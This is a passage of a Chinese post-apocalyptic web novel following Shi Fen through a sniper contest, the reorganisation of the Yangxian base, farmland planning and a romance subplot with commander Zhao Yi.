时枌也打中,这一场并未分出胜负。
但在时枌专心装枪调试,以及她俯身瞄准,又准确无误命中时,周围士兵看她眼神都变了。
难怪她能进赵弋的小队。
拿着枪的时枌甚至让他们暂时忽略了她这个在基地稍显瘦弱的身材以及她瘸着的左脚,更
吸引人注意力的是她专注的侧脸,持枪时手臂凸起的肌肉。
“妈耶,她一拳头是不是能抡死我啊。”
“时枌个子不矮啊原来,之前老跟周霓她们一起走我还以为她矮矮的,结果站出来只比陈老七矮一点点。”
“我看着比陈老七要高呢。”
“哦对,陈老七穿军靴了!”
周围议论纷纷,时枌已经让人帮忙去山上放靶子,而这次,是基地内最小的那种巴掌大的铁片,那个士兵按她说的,把靶子放到了一棵树枝上。
这种铁片击中会发出脆响,很容易判断。
而且这个距离也更符合他们狙击枪的比试。
时枌抬手说了句谢谢,那士兵就笑呵呵蹦下来了。
“你先吧。”时枌对他说。
陈老七抿抿嘴,扛着枪上前。
他有点紧张。
这距离对他来说太远了,而且距离越远考虑的就更多,但是他来基地后给他配了新的倍镜,应该没问题,心里这么想着,陈老七不知不觉汗流浃背,手也有点发抖,缓了会儿,才镇定下来,瞄准。
可怎么都瞄不准,眼前的一切似乎在飘。
最后两眼一闭,开枪。
意料之中的脱靶了。
他没找什么借口,只是一言不发扛着枪下去,站在边上,看她能不能打中。
时枌不用拐杖拎着枪单腿蹦哒,她的雷/明/顿700并不会太重,但也不是很轻,太久没拎枪她都有点不适应,正好今天好好试一试,架好枪,装了两颗子弹,一声不吭瞄准,开枪,速度很快,几乎没什么犹豫。
很快就听见砰的一声响。
大家眯眼看过去,靶子掉下来了。
“卧槽!”
“时枌厉害啊!”
“呜呼~”
时枌并未结束,咔哒反手退了弹壳,再次瞄准。
枪声过后,一片红叶缓缓落下,飘飘摇摇。
陈老七脸都白了。
那是一片樟树叶,这个季节还没到秋天,樟树并没有开始红叶,只有那么一两片叶子提前了,数量极少,而且时枌打落的那一片还是叶片没有损伤落下来的。
她瞄的是叶柄。
陈老七咬牙切齿,“我输了。”
他很想说咱们再比比别的,他不信赢不了她一个女人,但一看见时枌打着石膏的脚,他这嘴怎么也张不开。
她不仅是个女人,还是个跛脚的女人。
他连这样的人都比不过,再嚷嚷着跟人家比别的,那是自取其辱。
憋屈,羞耻,让陈老七涨红了脸。
时枌很满意他的反应,收好枪带上周霓去还枪。
“可以啊小枌枌,这枪法比张克还厉害!”周霓挽着她胳膊,“啧啧,那小子估计都要被你打自闭了,你干啥呢,这么欺负人。”
时枌:“谁让他揍我的人。”
“他揍谁了?”周霓不理解。
“赵弋啊。”
“那叫揍?”周霓惊呆了,“那不是赵弋单方面殴打他吗?”
然后周霓就把当时情况给时枌讲了一遍。
时枌:“……那也怪他,害赵弋一身伤。”
“赵队一身伤是跟之前那队难民,还有后来跟野狼干架打出来的吧。”
“……”
周霓噗嗤笑出声,手指戳戳她肩膀,“啧,心疼你男人啊。”
不知道为什么,时枌听见“你男人”三个字耳朵就红了。
平时赵弋承认在她耳朵跟前说什么你的人你的人,她明明已经接受并且认可,但被周霓用这种暧昧的语气说什么你男人,时枌就很不争气地变成了红番茄。
“没想到你俩处的还挺好,”周霓来了兴致,靠近她,偷偷摸摸问:“说说看,你们进展到什么阶段了?”
时枌:“什么阶段?分哪几个阶段?”
“上床没。”
“上床?是指睡一张床吗?”
“……”
“亲了算吗?”
“哦,明白了,只到接吻这个程度。”周霓对赵弋的印象其实还算不错,很负责任,从不油嘴滑舌,但根据她对男人的了解,大部分男人都是下半身思考的动物,所以她见时枌什么都不懂,担心她吃亏,开始言传身教起来。
“只要你觉得不舒服,不愿意,你就要推开他,明白吗?”
“他要是敢跟你动手,手边有啥拿啥,直接让他脑瓜开瓢。”
“再不行,就攻他下路,让他这辈子都支棱不起来。”
“哦对,你年纪小,也不想这么早要孩子吧?记得戴套,做好安全措施。”
“什么是套?”这属于盲点。
“你让他戴,他会自己想办法,想不到办法就别做了,就这么回事,”周霓摸摸下巴,又问,“赵队平时洗澡勤快吗?”
“昂,算吧,晚上洗早上洗的。”
“那挺好,爱干净的男人不容易让女人得病。”
“还有这种事?”
“是呀,你想你们平时那么亲密,万一他身体有什么毛病传染给你怎么办?当然要注意。”周霓传完终于想起来,“你们确定关系了?”
“什么叫确定关系,要办什么手续吗?”
“……就,他追你了嘛?你答应了吗?”
“算……吧。”
“可恶,”周霓哼了一声,“你可别什么事都听他的啊,他年纪比你大那么多,忽悠你跟忽悠玩似的。”
时枌也回过神来了,前天晚上赵弋在她跟前哼哼唧唧说受伤什么的,话里话外往今天这个狙击手身上引,她就当真了,以为他真的在人家那里受了委屈,真的过来给他找场子,直到听周霓说才知道真相。
这男人是真的有点坏。
时枌对周霓认真点点头,“我知道了,回去我就收拾他。”
“啊?你吗?怎么收拾?”
“让他去办公室睡,嗯……不给亲了,冷他一段时间,他应该就会知道自己错了。”
她训狗也是这样,虎子小时候恃宠而骄,有次咬死了家里的一只公鸡,——虽然这只公鸡每天天不亮就叫唤真的很烦人,但时枌养狗是为了保护家里的牲畜的,不能让虎子养成这种坏习惯,所以时枌足足冷了它三天,饭也少了一半,虎子可怜巴巴趴在门口她也不去看不去摸,只跟大熊玩,后来虎子每天都去鸡栏晃悠,一有鸡蛋就小心叼回来收到狗窝里护着,看见时枌就摇尾巴示意她看狗窝,时枌这才原谅它。
人也是动物,要他听话,也是要训的。
周霓对她的气势很满意,“赵队不是睡办公室吗?他哄着你回去住了?”
“睡沙发。”
“哦,那还行。”
“对了,你是怎么打中叶柄的?这么厉害啊,那么丁点都瞄得准。”周霓反应过来。
“樟树叶子变色快落叶的时候叶柄会变脆,其实轻轻一碰就能掉下来,也不一定要打中叶柄,只要挑一个成熟的叶片,子弹就算是擦着过去,也会带动叶子掉落。”时枌解释道。
周霓:“还得是枌枌!”
这点误差也不算什么,那么远的距离都能轻松瞄准,以后还是出任务那还得了?
本来时枌是打算去医务室老中医那边给赵弋拿药酒的,但经过今天这事,她就不想去了,跟着周霓去办公楼玩,正好他们领导都上去开会,楼下的人无所事事,就聚起来聊兰城的八卦。
周霓也乐在其中。
不知道谁带来了瓜子,大家分一分,就在申领物资的窗口边开聊起来。
“这一千人什么时候过来啊?”周霓听了个大概。
之前兰城断阳县的物资是因为赵弋拒绝接受兰城送过来的两千迁移居民,现在经过商讨,已经改成一千了。
“估计快到了,就等他们开完会来下发任务呢,又得分房子,啧,真闹腾。”一人抱怨。
时枌不太明白,“分人过来不是好事吗?阳县本来就地广人稀。”
管房屋分配的一个职工笑了起来,她负责分房子,也是最清楚阳县居民情况的人,目前阳县当中老弱病残算大多数,青壮年不是在基地就是被安排去矿上工作,而这
群年纪大的,不适应他们办公楼的工作,也无法承受矿上的体力活,更不会什么技术,本来就很难管,到现在也没安排出个名目来。
“那也得看他们分来的是什么人。”她说,“我听兰城那边的人说了,这次一千人当中,有三百都是监狱放出来的。”
此话一出,大家脸色都变了。
“什么啊,难民丢给我们就算了,这种罪犯也丢过来?还让不让人活啊。”
“就是就是,到时候我们这边安排巡查还得多加人,是不是还得建个监狱关他们?这么多张嘴,是不是还得占用我们的资源?”
“兰城那边也太过分了,他们不想养这群人,又不敢直接杀了,更不敢把他们流放出去,就丢给我们!”
时枌听懂了。
“确实很过分。”时枌说,“可是不答应的话阳县就没有足够的资源,不说汽油这种,就是粮食也不够,肚子也填不饱。”
“哎。”大家只能叹气。
周霓偷摸跟时枌说:“别说粮食石油,现在连子弹也不送过来了。”
时枌惊讶睁大眼睛。
难怪她今天去拿枪申请子弹的时候人家还问她要几颗。
时枌看了看旁边的仓库,小声嘀咕:“早知道当初就偷偷藏起来了……”
周霓也知道他们最开始来阳县做任务的事,自然也清楚兰城从阳县仓库带了多少东西回去,那段时间老严脸上可是红光满面,见谁都乐呵呵的。
可是现在东西掏走了,把他们都迁移过来,又不肯给足够弹药。
没有弹药,他们怎么保护阳县?
这周围可不太平。
“只能看赵指挥有什么办法了。”闲聊中一人说道。
“是啊,他把那个副指挥踢了出去,真是解气!”
“就是就是,我看那个宋不平油头满面的,恶心死了,听说他在兰城还有老婆孩子,就是觉得这是在阳县才乱搞。”
时枌又听了一堆这位副指挥的八卦。
“那宋不平的那些手下怎么办?是不是也得送回兰城?”有人问。
“那得看赵指挥的意思了,他容得下人,就不送走,容不下,送走事小,真要是那种心狠手辣的,偷偷找个名头处理了,还不是简简单单。”
“我看赵队不像是那种人。”
“我也觉得,赵队平时也不对普通人下手的,上次那两个难民也是活该,老老实实的不就得了,都发配到阳县了,还想着闹着,纯纯自作自受。”
时枌听着听着,忽然发现。
这人一多,确实……挺复杂的啊。
听八卦她觉得有意思,但是听这些勾心斗角就觉得没啥意思了,周霓也觉得无趣,问她要不要去找叶枝蔚一起玩。
大中午的,巡查的人也被晒蔫了,叶枝蔚自从领了这份工作人也黑了不少,时枌给她俩都买了冰棒,沿着树荫边走边闲聊。
“今天上午比较清闲,估计等他们开完会安排工作就得忙起来了。”周霓说。
时枌点点头,“这么多人要安排工作,真头疼。”
叶枝蔚:“你们出去一趟久收拾了三四个觊觎阳县的小队,我们这段时间夜里巡查都加了人手。”
三人一同深深叹了口气。
这个烂摊子什么时候才能理好啊。
第94章 第94章“你胆子可不小。”……
楼上会议开完,整个办公楼就再次忙碌起来。
时枌跟周霓叶枝蔚一起看最新的通知,三人琢磨着,大概明白了这次会议主要内容。
首先是办公楼内所有部门重新划分,而且整体从科升到了部,总共有行政部、财务部、人事部、农业部、技术部和仓库六个部门,其中任务交接被划分到了人事部,新增了农业部。整个阳县基地也改成了阳县军事基地,虽然名字看上去没啥区别,但熟悉兰城运作模式的老人都清楚,多了两个字,就代表他们基地以后是跟兰城四大基地一样的存在。
跟兰城四个基地不同的是他们多了个农业部。
因为重新划分,所有职工重新分配工作,通知一下来大家就开始忙活着搬东西。
原本时枌跟周霓支援的基建部门一下子就没了,问了下才知道给矿工安排新工作这事被划给了人事部,同时农业部会过来协调,相当于两个部门一起干。
好在会议上已经把各个部门领导都安排好了,现在领导下来领人,所以也不算很混乱。
时枌跟周霓也帮忙抱着文件,时枌脚不方便就在一楼蹦,周霓则是楼上楼下地跑。
足足忙了大半天才收拾完,刚捋清楚,发电厂啊南区负责人矿山那边的领导又过来开会,行政部门负责安排会议,倒是井井有条。
开完会,大家就看见这群领导臊眉搭眼地走了。
周霓说可能是被赵弋给骂惨了。
今天又是加班的一天,估计到晚上十点才能彻底完事,赵弋说了请客吃宵夜,安排食堂做了饭,今天办公楼里的人都能免费吃,大家的抱怨也就少了,毕竟吃人的嘴短。
晚饭时候赵弋的小队是被他单独叫上三楼,在他办公室吃的。
明显是有事情要商量。
秦丰知道有饭吃心情都好了不少,但刚上桌还是忍不住骂骂咧咧。
“南区那群人我都不想说他们,一个个跟傻x似的还跟我玩什么身在曹营心在汉,以为自己身上有几把枪了不起啦?还不是给兰城打工的?自己被发配到矿山成天灰头土脸还不觉得有什么,骄傲着呢,还说什么,饿死阳县所有人兰城都不会放弃他们,我呸!”
叶枝蔚踹了他一脚。
骨头把碗抱进怀里生怕接到了秦副队的口水。
张照照跟着张克审那群闹事的矿工,听见秦丰抱怨,也忍不住开口:“赵队,那群人真的非得留着吗?就不能杀了算了?”
他语气天真无辜,餐桌上的人整齐地沉默了。
赵弋:“马上运过来的三百个劳改犯,要不要也一起杀了?”
张照照:“……也可以吧?”
秦丰:“……”
阳县麻烦太多,养着又费资源,他们是真不想管,真想给他们全丢出去喂丧尸。
等他们都抱怨完,赵弋才开口安排任务:“我这边空出一个副指挥的职位,秦丰你收拾收拾,换个办公室,准备上任干活。”
秦丰:“啊?我吗?副指挥?你确定?”
“申请已经递上去了,估计明天就会批下来。”
秦丰那点子抱怨一下子就好了。
“我把你从任务交接处挪了出来,以后负责新兵训练。”赵弋对张克说。
张克:“难为您还记得我,呵呵。”
嘲讽拉满,但是也没拒绝。
相比天天坐办公室当个废人,张克当然是更想去军营,而且时枌今天单腿就给他们一群小兵训的老老实实,他好歹有假肢,不能出任务还不能干点别的吗?再说了,没了腿也不影响开枪啊,他手不是还好好的。
“叶枝蔚继续负责巡查,让秦丰带着你,尽量收编南区的人,”赵弋又看向秦丰,“你知道怎么笼络人心吧?”
“知道知道,嗨呀,还不是那几招。”
先内部瓦解,再拉拢一部分,跟赵弋打配合,让他们对兰城彻底失去信心,把一两个南区的人拉过来基地
干两天,靠群众力量吸引呗。
他们都分配了工作,骨头早就坐立不安,眼巴巴看着他赵队。
“骨头负责组织新的探险小队,带新人,出任务。”
骨头也舒服了。
办公楼跟军营的管理是分开的,赵弋也要两边都安排人才能稳住,骨头也算是经验丰富,他要是压不住那群小兵,还有张克在旁边帮忙。
张照照:“我呢我呢?赵队我干啥啊?”
“你跟着骨头,好好干。”
张照照年纪较小,身体素质跟枪法都很不错,出任务是一流,但是情商较低,跟骨头这个老油条比起来就差了不少,还得继续学。
“周霓……”赵弋还没说出口。
“我不出任务啊!我要坐办公室!您随便给我在办公楼安排个职位就行了!”周霓连忙道。
当她很喜欢天天往外排给自己晒黢黑啊?还不是为了生活。
在兰城的时候她没得选,基地里也是一个萝卜一个坑,没她的位置,但现在明显缺行政人员,她怎么就不能去混个一官半职躺平呢?
“……后续会有个新部门,专门负责一些工程建设,你先跟着人事部农业部熟悉,之后再给你安排,但是如果我的小队有什么任务……”
“放心放心,我会服从安排的!”周霓也满意了。
叼着冰棒等了半天的时枌看着赵弋。
她左边一个周霓,右边一个叶枝蔚,被夹在中间,坐到了他对面。
“争取后天带你去趟保护区复查。”赵弋说,“这两天别跟着乱跑了,先去农业部那边帮忙,之后再说吧。”
草台班子不是一天两天就能拉起来的,基地严重缺人,他还得想想办法。
赵弋没什么胃口,没吃多少,点的菜都是他们几个吃了,干干净净。
吃完饭,他们都得去干活,赵弋叫时枌留下。
秦丰眼里有活,顺便把桌子也收拾了,垃圾带下去。
人都走了,赵弋才去拉她手,问她:“今天第几根冰棒了?”
时枌想起之前跟周霓聊的,抽出自己的手,一本正经问他:“要给我安排什么事?”
赵弋:“……”
已经感觉到不对劲了。
“开车带你去看看。”
“看什么?”
“去了就知道了。”
他弄得还挺神秘。
上次带她出去还是去看荷花摘莲蓬,时枌很满意那次出行,这次也就没拒绝。
有赵队在,就不存在什么申请不到车没有汽油这种事。
还是他那辆熟悉的越野车,载着她一路出了居民区,再就上了马路,道路两边是整整齐齐的田地。
这里已经离开阳县居民区了,放在从前就是城镇边缘的小村,跟山脚那片一样有农田,但是面积更大。
看着这些荒地,时枌眼睛就挪不开,心里已经自发地计算着要种什么。
“你觉得这些空地该怎么安排?”
时枌认真想了想,“得看你后续安排,如果打算再建养鸡场什么的,肯定需要饲料,粮食就要多种,但如果不打算喂养牲畜,只管人,也有管人的安排,想要立刻有收获,这个季节可以种一些蔬菜,等天气凉了秋播再考虑其他作物。”
“嗯,”赵弋点点头,“粮食是最重要的,这片地方远离基地跟居民区,以阳县现在的人口我们还没办法管控到这里,所以只打算种一些蔬菜瓜果,就算外边的人发现了,不是肉,也不会冒险来抢。”
“也是。”时分脑子里就想起来,“以后阳县如果需要摆脱营养液的话,这里可以选择种油菜花生之类榨油用的,就算有人来抢油菜抢了他们没用,花生还得自己挖更费劲。”
“这个季节已经可以种一些萝卜,等过段时间也可以种白菜之类的,大多也就是这些,粮食还要等春播。”
这么一算,这个冬天阳县还是没有足够的保障。
将近三千口人呢,都得吃饭。
“靠近居民区的那些地,可以问问有没有人愿意种,到秋天只用收上来一部分交到仓库。”时枌说,“远离居民区是分散的小村庄,农村家里附近都是有菜地的,可以分发种子让他们自己种。”
“那就交给你安排了。”
时枌倒是不怕这个任务,只是……
“开地没有机器就需要大量人力,还要种子的,种子我可以帮忙,但是人怎么办?”
“马上送过来的三百个劳改犯,可以做免费劳力,只需要安排人守着他们干活。”赵弋说,“另外矿山也不需要这么多人,他们当中大部分曾经都是农民,你去人事部安排工作的时候记得把他们跟这片地的劳改犯分开,只负责靠近居民区山脚下的开地。”
时枌也赞同。
毕竟这两拨人是不一样的,混在一起干一样的活肯定会闹矛盾。
“我回去看看地图。”
这一大片地看完,时枌脑子里已经有了规划,回去路上嘀咕着着冬天盖大棚的事,问他这些材料是不是只能找兰城要。
赵弋点头。
“阳县产铁矿,为什么不能自己造钢铁呢?”
赵弋笑了。
“没有技术人员,炼铁也不是说说那么简单。”
阳县本来就有一座发电厂,之后兰城回来检查试用再做了一系列调整才有现在的电,这已经是幸运,但是阳县可没有钢铁厂,所以那些铁矿只能运去兰城。
赵弋简单给她解释了一下怎么冶炼钢铁,时枌听了几分钟就觉得脑仁疼,让他别念了。
“那你还是想想办法,让兰城那边稳定送弹药过来吧。”时枌说。
“弹药也不是没有办法。”
时枌就扭头看他。
赵弋朝车窗抬抬下巴,时枌就看过去,只看见一片绵延的山脉,没发现什么。
“那个方向,是源城,听说现在已经被丧尸占领,你猜丧尸会不会用源城内的弹药?”
时枌:“丧尸要是会开枪,那我们也别挣扎了,洗洗睡吧。”
“是啊,”赵弋说,“阳县自己就有一个仓库,源城的只会更大更多,资源更丰富,而且兰城、阳县、源城,阳县正好在两者之间,形成一个钝角三角形,阳县,离源城更近。”
“可是没有足够的人手去抢,沿途还说不定会碰上其他人。”
赵弋握着方向盘的手很悠闲地挪到了下方,“嗯,所以,得从长计议。”
“兰城不会去抢吗?”时枌忽然想到。
明知道那是一坨肥肉,兰城就不会有想法吗?
“他们?胆子比我还小。”
“你胆子可不小。”
“嗯?”赵弋一时间没听出她的意有所指。
开车回到基地,天都快黑了,办公楼还是灯火通明,赵弋给她拿了阳县的地图,让她不着急,可以慢慢规划。
又对她说:“今天会晚点回去,给我留门。”
时枌看着地图头也不抬,“你还是睡办公室吧。”
第95章 第95章心疼钱,不是他。
家里冰箱还有酱牛肉跟绿豆汤,时枌不打算去食堂吃宵夜,因为这会儿人也多,没必要跟人家去挤。
她收好地图,准备下楼回家去。
赵弋拉住人手腕,“等等,先说清楚。”
时枌:“嗯?”
“前天晚上不是说好的,我可以回去睡沙发吗?”
他靠着身后的办公桌,稍稍缓解开一整天会的腰酸背痛,身体也自然放松下来,肩膀下垂,眉眼耷拉着,视线从自己鼻尖到她的手腕。
时枌一转过身他就是这副模样,跟被抛弃的大花似的,看起来疲惫得很。
“是不是因为我昨晚太忙,没回去?”他又问。
接连两天都要处理事情,一场一场的会议,又要研究新的部门划分,他昨晚就没回去,直接留在办公室通宵改方案,也就是早上才抽空睡了两个小时。
今天终于算是忙完,事情安排下去,他也得了空闲。
“不是。”时枌抿抿唇,犹豫要不要跟他说。
赵弋拉着她手往自己方向带了一步,看她没抗拒,才继续道:“那是我哪里做的不好,让你生气了?”
时枌从来不是那种别扭的人,她心里觉得不自在,受了愚弄,这种情绪的来源是面前这人,而现在又是个很好的吵架机会。
这么想着,时枌就直说了。
“你前天晚上刚回来的时候跟我说你受伤,话里话外往陈老七身上引。”
“嗯,是这样。”赵弋没松手,拇指摩挲着人手腕内侧,“今天你去靶场,我听说了。”
说实话,他心里很高兴。
“可是我也知道了,你身上的伤不是陈老七揍的,你在骗我。”说到这时枌是真的有点生气了。
赵弋这才明白她为什么不高兴。
“前天晚上我那么跟你说,只是想让你心疼我,并没有故意让陈老七背锅的意思,主观上也并没有刻意让你对陈老七这个人产生恶意,”赵弋轻叹口气,“但是我承认,我做的不对,撒了谎。”
“那晚那种情况下,我没有考虑太多,对你确实有哄骗的意思,想让你的心思留在我身上。”
“我并不算是个好人,我的道德标准或许比你想象的更低,为了达到自己的目的,是会使用一些不太光彩的手段……”
“但这种劣性我不能嫁祸给你,这是我的本能。”
他很清楚自己是个怎样的人。
表面的负责,私底下是对所有事情的冷
漠与不在意,他竭力规训着自己走在正确的方向上,但深挖内心,其实污浊不堪。
当占有欲开始疯涨,在赵弋眼中,一些无足轻重的人或事都会被列入可以利用的清单,他也不会在乎所谓的后果。
就像他随口一句,就能在时枌面前,把陈老七打成一个坏人。
“你不会喜欢这样的我,是不是?”他抬头看着他。
时枌听了一长串,没太听懂。
但今天他肯定是不能回去睡沙发的。
“没你说的那么严重,我还是很喜欢你的。”
“这句话的意思是本来就没有多喜欢。”赵弋接道。
时枌被噎了一下。
似乎,也是这么个意思。
他将人又拽近了一步,盯着她的眼睛,“我很喜欢你。”
喜欢到,想要彻底占有,成为她心里最独一无二的存在。
听见这话,时枌明显心跳有点不正常,感觉脑子有点晕,又很快冷静下来,“这不是你骗我的理由。”
“跟之前的事情无关,”他说,“我只是在告白。”
“……哦,那我该怎么回?”
“……”
她问他该怎么回。
赵弋深深叹了一口气,“能抱么?”
时枌觉得他现在挺可怜的,往前一步,圈着人腰抬起头,“这样好了点?”
他自然地环着她的腰,留有余地,“好多了。”
“但是你今晚还是不能回去哦。”
“……”
赵弋深吸一口气,“行,按你说的来。”
“嗯。”时枌就很满意了。
“那什么时候能回去睡?”
“三天吧。”
“从昨天开始算?”他昨天也没回去。
“从今天开始算。”
“……行。”
他还算听话,时枌很满意,摸摸人脑袋,手下一片毛茸茸,“好好上班,我会喜欢你的。”
腰后的手骤然缩紧,让她不自觉挺腰贴着他,手下的脑袋也抬了起来,那双晦暗的眸子与她对视。
时枌低头亲了他一下,“我要回去吃饭睡觉了。”
“送你?”
“不用,我自己能回去。”时枌发觉腰后的手一点都没松,“你们办公楼大家都在忙,你一个人这么清闲,不太好吧?你就没事干吗?”
有事,但懒得干。
比如敲打南区部队,比如发布一部分阳县附近的任务,再比如去食堂结算今天宵夜的费用……
他仰头,“再亲一下。”
时枌:“……我腻了。”
“……”
这简直比直接拒绝还可怕。
赵弋就松了手,“冰箱里冷冻层买了半箱绿豆半箱果汁口味的冰棒,早上不要多吃,中午回去拿,晚上也尽量别吃。”
听到有冰棒,时枌那点不愉快就彻底烟消云散。
她自己下楼回去。
脚似乎长好了,她现在甚至能用石膏点地慢慢地走,也就不想再带拐杖,她成天蹦来蹦去,拐杖也不知道丢到哪去了,不过明天要是有人看见会帮她送到医务室,她可以明早起来去医务室看看。
回到家,简单清洗,用叶枝蔚送的痒痒挠戳着拧干的毛巾捅进石膏间隙擦擦腿脚。
她都有点受不了这个石膏了,真烦人。
而且明显的,左腿小腿比右腿瘦了一圈,老中医说是因为这只脚长时间不着地没使劲,肌肉萎缩了。
时枌就很担心会不会影响她的行动,毕竟马上就要收玉米了,还有田埂上的豌豆花生也能收,收了之后她要炒花生炒豆子吃,或者是烘干,留着能吃一整个冬天呢。
收拾完自己,时枌就坐在床边书桌上拿了支铅笔,在阳县地图上写写画画。
这片地种啥那片地种啥标注清楚,播种的月份也写上去,因为是好多年没种过的地了,也不在乎施肥什么的,就算不施肥这两年都会长得很好。
阳县人口并不算多,想要大家都吃饱饭还是很简单的,毕竟地这么大。
问题就在于时间。
种地不是第一天种下去第二天马上就能有收获,得打理,得等,这个冬天恐怕赵弋都得忙着跟兰城那边打好关系保证营养液的供应,要彻底粮食自立,至少得等到明年夏收小麦。
光是吃饭这一件事时枌就想得头疼,很难想象赵弋在哪个位置需要考虑的就更多了。
阳县内部的矛盾,外边的威胁,也能算得上内忧外患。
时枌花了点时间,把各个地方的土地规划做好,又简单算了下这么多土地需要多少种子,列了清单,顺便琢磨了下自己家里的那些种子。
其实如果她拿出一部分小麦,也是可以送过来当种子的,她冬天少吃点或者提前预备点别的也行。
她一个人的存货肯定无法顾及整个阳县,但多多少少能支持一点,总比赵弋向兰城申请要简单。
时枌记在心里,看看时间已经凌晨两点多,看了下手表消息,躺着赵弋半小时前发来的消息。
赵弋:晚上别吃冰棒,早点睡。
太晚了,时枌也就没回消息,伸了个懒腰躺到床上去,把电扇对着自己,安稳睡去。
第二天,时分带着地图跟自己写的几张纸就去找赵弋了,又叫上农业部的老头过来审核,老头看完觉得不错,但还有些地方需要修改。
“这片地方没有大路通进去,到时候没办法机械收割,建议还是分给农民,让他们自己种自己收,不然这么点地方,统一打理太麻烦,单独打理又耗费人力。”
时枌却不同意,“监狱那些劳改犯可以来这些地方种地,那些平坦的、靠近居民区的更适合分给农民,方便他们打理。”
“你的意思的,好的地方给农民,公家管那些犄角旮旯的?”
“也不是,毕竟阳县人口少,农民也种不了多少地,我只是觉得,那地方太偏僻,不适合让农民去种,毕竟阳县周围还不算稳定,万一被人抢了,一年就白种了。”时枌说,“而且,目前阳县内部混乱,大家不是一条心,没有安全感,对阳县这个地方也没有多少感情,让他们有自己的地,有了地就会有牵挂,就不会想着跑了。”
老头想了想,没再坚持,“按你说的做吧。”
他考虑的是集体的利益,时枌考虑更多的是民生,统一打理产量确实更有保障,好好的地给那些十几年没种地的农民来种,就不一定种成什么样了。
“产量方面您不用太担心,”坐在办公桌后边的赵弋这才出声,“包括之后的种子,我会跟兰城农业基地那边商量安排车送过来,也会调一部分专家来指导。”
老头对他这话并不抱多大希望,但也没再说什么。
“养猪场、还有鸡鸭的场地麻烦您今天去看看哪里合适,尽量这几天开工,跟周霓一起商量就行,再找人事部安排几个有经验的去管理,我明天要去一趟兰城,还有什么事就跟秦丰商量。”
“说得容易,小鸡崽都还没见影儿呢。”老头终于没忍住哼了一声。
赵弋压了压眼皮,懒得解释,让他下去干活。
等老头走了,办公室里就他们两人。
时枌:“兰城那边会送小鸡崽过来吗?”
“我尽量争取。”赵弋靠在椅子上放松身体,“我
账户上的九万多积分,可能保不住了。”
“啊,用你自己的钱啊。”
听语气就知道她很心疼。
心疼钱,不是他。
第96章 第96章“你家里人知道……你干……
现在阳县这个情况,赵弋身为总指挥,账户上那么多钱留着不用也不是不用,其实不如拿来买一些物资,既省去了伸手朝兰城要的麻烦,又能笼络一部分人心。
时枌是明白这个道理的,所以她也不是很心疼这钱。
赵弋还有的忙,为了明天去兰城,事情都堆到今天了。
而时枌手里也有活儿,农业部的老头带着人去看养鸡场的场地,这她帮不上什么忙,她得去帮忙给矿工分配新工作。
尽管物资已经到了,但矿山没开工,时枌不知道赵弋是怎么想的,她懒得动脑筋,只办好自己手上的事。
“这几个之前做过泥瓦匠,正好安排去农业部帮忙。”身边一个同事看着自己手里一大沓表格愁得头发都少了。
时枌就把这一部分清理出来,统计人数,再跟周霓打了个电话询问她需要的人手,简单对了一下发现还差不少,就选了几个年轻力壮的,凑齐了,再交给其他人通知下去。
大概就是这么个流程,哪些地方缺人,他们就翻看手里昨天收上来的表格,看是否对得上,先捡着要紧的给他们凑齐。
“农业部那边这段时间就要播种了,翻地播种大概需要多少人?年纪大一点的行吗?”又一个同事扭头问时枌。
“这什么申请啊,不跟我说要多少人,只说要开多少地,我哪知道这些地要多少人干活,以后得让他们按固定格式写申请!”
“他们目前要开多少地?”时枌问。
“都没说,就说山脚下那一块。”
那确实挺笼统的,“他们播种应该不着急,可以慢慢干,翻地、播种、浇水,两个体力活,一个轻便的工作,可以交给老弱。”
“行,我看看有没有。”
同事还没翻到,时枌随手一翻,细看发现是西芹的名字。
沉默半晌,她看了眼同事,发现他们还在找,就把手里这张递了过去,“这个小姑娘,以前在矿山上做过,腿脚应不错,还打理过农场。”
“行,就这个。”那同事就直接抽走了。
时枌继续忙活。
今天一整天时枌都在人事部帮忙,因为事情已经安排下去,今天明显没有昨天那么乱了,大家都忙着自己手头上的工作,也不用加班,正常下午五点就下班,有的习惯喝营养液,叼了支营养液就回家去了,有的手里有余钱就去食堂吃顿饱饭。
阳县物资有限,外边开的正规商户也会贩卖一些从兰城运过来的货物,生活杂物偏多,食材却很少,所以大家都没有回家做饭的习惯,毕竟做一顿饭得凑齐柴米油盐,这年头还真凑不齐这些,所以大家也更倾向于在食堂吃或者营养液对付对付。
时枌始终习惯不了营养液,只要有空闲,她就会去食堂吃饭。
今天倒是碰上了骨头跟叶枝蔚秦丰三个,四个人凑一起点了菜吃饭,聊着手里的工作。
食堂的人也都是人精,特地给他们找了个小包间吃饭,方便大家说话,还送了一大杯绿豆汤过来。
“早知道当初来阳县就把仓库东西偷偷藏好了,妈的老子现在训练子弹都不够用。”最近刚升了副指挥同时负责基地内外事务的秦丰刚上桌就忍不住骂骂咧咧。
“你们当初在阳县到底拉了多少东西回去啊?”骨头每次申请弹药都要听秦丰这句抱怨,导致他一个没参与过阳县仓库任务的人产生了巨大的好奇心。
“这么说吧,阳县仓库给我,保证把这一片围的严严实实,连个苍蝇都飞不进来,”秦丰开始吹牛,“时枌当时也……”
“咳咳。”叶枝蔚出声打断。
秦丰这才意识到这事不能随便说,以免被人听去举报。
于是他跟时枌对了个眼神,心照不宣换了个话题。
时枌自己家就有个小型军火库,一人吃饱全家不饿,安全问题算是有保障,但阳县不一样,地更大人更多,需要的弹药当然也更多,所以时枌很能理解秦丰的抱怨。
骨头耸耸肩,“申请下不来,兰城就不会运弹药过来,咱们还搞什么,收拾收拾回去躺平吧,说不定哪天不是尸潮就是一伙人就给咱们老窝端了。”
叶枝蔚:“探险小队也负责搜寻物资,你们没考虑去附近看看吗?”
骨头:“有啊,往东走,大城市,三千万丧尸堵得死死的,你敢开一个口子,丧尸一口一个唾沫都能淹死你,往西北走,源城,诶嘿,至少二十万丧尸守城,周围还有不少野生队伍等着吃肉。”
“什么叫大城市?”时枌竖起耳朵。
她长这么大就没出过阳县附近,最远也就是兰城,再就是听说了源城,也没去过,其他的一无所知,所以听说有大城市,好奇心一下子就起来了。
“东边的A市主城区,末世前是个旅游城市,有好几个著名旅游景点,后来丧尸爆发,因为是第一所病毒爆发的城市,而且不是环山就是环海,当时政府立刻采取手段封了城,堵得严严实实,一下子捂出了三千万只丧尸,也就偶尔会有几只坚强点的丧尸翻山越岭跑出来。”骨头解释道,“物资肯定是有的,大城市政府啊警察局什么的,军事基地也有,但是丧尸太多了,给我三千个赵队也得杀一年呢。”
时枌直接不想了,“还是源城好,又近丧尸又少,还有石油。”
秦丰嘿嘿一笑,“你还真敢想。”
时枌心想,她有什么不敢想的呢,人家赵弋都敢。
